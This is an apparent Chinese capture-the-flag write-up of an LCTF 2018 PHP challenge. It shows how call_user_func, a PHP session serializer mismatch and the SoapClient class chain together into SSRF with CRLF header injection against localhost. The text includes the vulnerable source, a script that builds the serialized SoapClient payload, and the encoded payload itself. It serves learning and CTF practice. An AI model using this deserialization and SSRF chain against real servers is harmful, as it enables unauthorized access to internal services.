之前其实做过这种类型的题,但还是没做起,
使用 SoapClient 类进行 SSRF
session反序列化
回调函数call_user_func
的利用
源码:
//index.php
<?php
highlight_file(__FILE__);
$b = ‘implode‘;
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),‘welcome_to_the_lctf2018‘);
call_user_func($b,$a);
?>
//flag.php
session_start();
echo ‘only localhost can get flag!‘;
$flag = ‘LCTF{*************************}‘;
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION[‘flag‘] = $flag;
}
only localhost can get flag!
首先,看到index.php
,我们可以想到传入f
为extract
,去覆盖$b
的值,但看到flag.php
,我们肯定是构造反序列化触发SSRF请求127.0.0.1/flag
,但是没有可利用得类,就想到原生类,之前遇见类似的题,就是利用SoapClient
类进行SSRF,
但是我们现在就需要寻找如何反序列化,index.php
里面就只有一个call_user_func()
,但是call_user_func()
函数如果传入的参数是array
类型的话,会将数组的成员当做类名和方法,例如:
在这道题我们如何利用呢,
可以先把$b
覆盖为call_user_func
,然后让name
为SoapClient
,所以最后面的call_user_func($b,$a)
就变成了call_user_func(call_user_func,array(‘SoapClient‘,‘welcome_to_the_lctf2018‘))
就相当于执行SoapClient
类里面的welcome_to_the_lctf2018
方法,但是不存在,就会调用该类里面的__call
魔术方法造成SSRF,
然后还是需要一个反序列化点,看见这里存在session
,就会想到session
反序列化,因为这里的call_user_fun()
,我们可以修改session
的序列引擎php_serilaze
,所以就会把我们的name
以php_serilaze
形式储存,然后再以相同cookie
去覆盖$b
就可以触发session
反序列化,从而去触发SSRF,步骤如下:
所以先构造SOAP类的内容:
<?php
$target = ‘http://127.0.0.1/flag.php‘;
$a = new SoapClient(null,array(‘location‘ => $target, ‘user_agent‘ => "w0s1np\r\nCookie: PHPSESSID=woshilnp", ‘uri‘ => ‘test‘));
$b = urlencode(serialize($a));
echo $b; // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
得到:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A34%3A%22w0s1np%0D%0ACookie%3A+PHPSESSID%3Dwoshilnp%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
当存储是php_serialize
处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{}
,那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
,那么a:1:{s:1:"a";s:16:"
会被php解析成键名,后面就是一个test对象的注入。
所以可以构造session_start([‘serialize_handler‘=>‘php_serialize‘])
达到注入的效果。
触发反序列化使SoapClient发送请求:
再利用构造的cookie
访问即可
原文:https://www.cnblogs.com/w0s1np/p/14916345.html